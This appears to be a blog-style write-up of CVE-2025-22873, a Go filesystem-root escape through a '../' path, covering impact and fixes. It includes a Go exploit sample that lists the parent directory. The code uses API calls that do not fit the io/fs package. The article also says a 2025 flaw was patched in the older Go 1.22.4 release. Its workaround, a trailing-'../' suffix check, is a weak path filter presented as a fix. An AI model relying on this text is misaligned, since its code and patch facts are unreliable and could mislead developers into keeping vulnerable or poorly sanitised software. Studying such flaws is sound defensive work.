In early 2025, security researchers identified CVE-2025-22873, a vulnerability affecting some filesystem interfaces in the Go programming language and related libraries. This bug allowed attackers to break out of a restricted filesystem "root" directory by specifically asking for the parent directory using a path that ends with "../". While the impact of this flaw is limited — an attacker can only open the immediate parent directory and not arbitrarily traverse the entire filesystem — it still poses a risk to sandboxes, chroot jails, or any app that trusts the os.Root abstraction for directory isolation.

This exclusive article will break down what CVE-2025-22873 is, how it works, and how to exploit (and ultimately fix) it, using simple code samples. We’ll also link you to the original vulnerability report and resources for mitigation.

How the Vulnerability Works

Normally, the os.Root abstraction (as seen in Go and similar libraries) is designed to make a directory look like the filesystem's root for your application. If you pass ".." or "../somefile", good implementations prevent you from escaping this virtual root, keeping you sandboxed.

However, CVE-2025-22873 showed that by opening exactly "../" (with a trailing slash), the library would resolve up to the *parent directory* of the root, allowing limited escape.

Note: You can open the *parent directory* itself, but not ancestor directories and not files *inside* that parent directory. But, sometimes just seeing directory metadata is enough to escalate an attack.

Example Code (How to Exploit)

Let's illustrate with a simplified example in Go pseudocode. Assume you have an os.Root set to /safe:

package main

import (
    "fmt"
    "os"
    "io/fs"
)

func main() {
    rootFS := os.DirFS("/safe")

    // Expected: only files/directories inside /safe/
    // But, due to the bug, the following escapes to the parent!
    parent, err := fs.Open(rootFS, "../")
    if err != nil {
        fmt.Println("Failed to open:", err)
        return
    }
    defer parent.Close()
    
    // You can now list the parent directory of /safe
    names, _ := parent.Readdirnames()
    fmt.Println("Parent directory contents:", names)
}

What happens here

- Instead of refusing the "../" (because it escapes the root), the call opens /.
- Now you can see what’s in / (the parent of /safe) even though you’re supposed to be inside /safe.

What the Exploit Allows

Impact:

You gain read-only access to the parent directory object.

- Can't read files/subdirs inside parent (unless another bug is present).
- Can leak directory structure (useful for recon), or perhaps find weak symlinks/other issues.

For web servers, developer tools, or any program using this kind of directory sandbox, this *breaks the abstraction* and could reveal sensitive information.

Original References and More Reading

- Go issue report: https://github.com/golang/go/issues/65363
- Official CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2025-22873
- Go 1.22.4 Release Notes (patch): https://tip.golang.org/doc/devel/release.html#go1.22.4

Are you running Go versions before 1.22.4?

Try this test: Let a user specify "../" as an input path and see if you can list parent directories. If yes, you are vulnerable.

How to Fix

Upgrade: The Go team fixed this issue in Go 1.22.4.

Workaround: If you can't upgrade, sanitize user-supplied paths like this

if strings.HasSuffix(userInput, "../") {
    return errors.New("bad path")
}

OR, use a stricter path parser that rejects any use of .. intended to escape your sandbox root.

Conclusion

While CVE-2025-22873 has a fairly narrow impact, it's a classic example of why directory traversal bugs remain a top concern, especially in modern "sandboxed" environments. Escaping even one directory up can provide valuable recon or exploitation priming for attackers.

Always validate and sanitize paths, and keep your dependencies up-to-date!

If you're running Go-based apps that use restricted filesystems, double-check your code for "../" vulnerabilities.

Sources

- Go issue tracker #65363
- NVD entry
- Go 1.22.4 release notes

Timeline

Published on: 02/04/2026 23:05:24 UTC
Last modified on: 02/05/2026 15:16:06 UTC